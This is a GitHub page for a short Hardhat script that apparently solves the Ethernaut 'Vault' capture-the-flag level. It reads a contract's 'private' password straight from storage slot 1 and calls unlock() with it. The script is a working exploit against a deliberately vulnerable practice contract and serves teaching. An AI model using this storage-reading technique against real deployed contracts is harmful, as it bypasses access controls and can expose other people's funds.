-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy path8-vault.js
More file actions
29 lines (21 loc) · 799 Bytes
/
Copy path8-vault.js
File metadata and controls
29 lines (21 loc) · 799 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
const { web3 } = require("hardhat");
const hre = require("hardhat");
async function main() {
const contractAddr = "0x405dB8aC43fFB8f30f9BE440187e702D724Cc680";
const Vault = await ethers.getContractFactory("Vault");
const vault = await Vault.attach(contractAddr);
console.log("Locked:", await vault.locked());
const password = await web3.eth.getStorageAt(contractAddr, 1);
console.log("Password:", password);
console.log("Getting password stored as private instance variable...");
await vault.unlock(password);
console.log("Locked:", await vault.locked());
}
// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main()
.then(() => process.exit(0))
.catch((error) => {
console.error(error);
process.exit(1);
});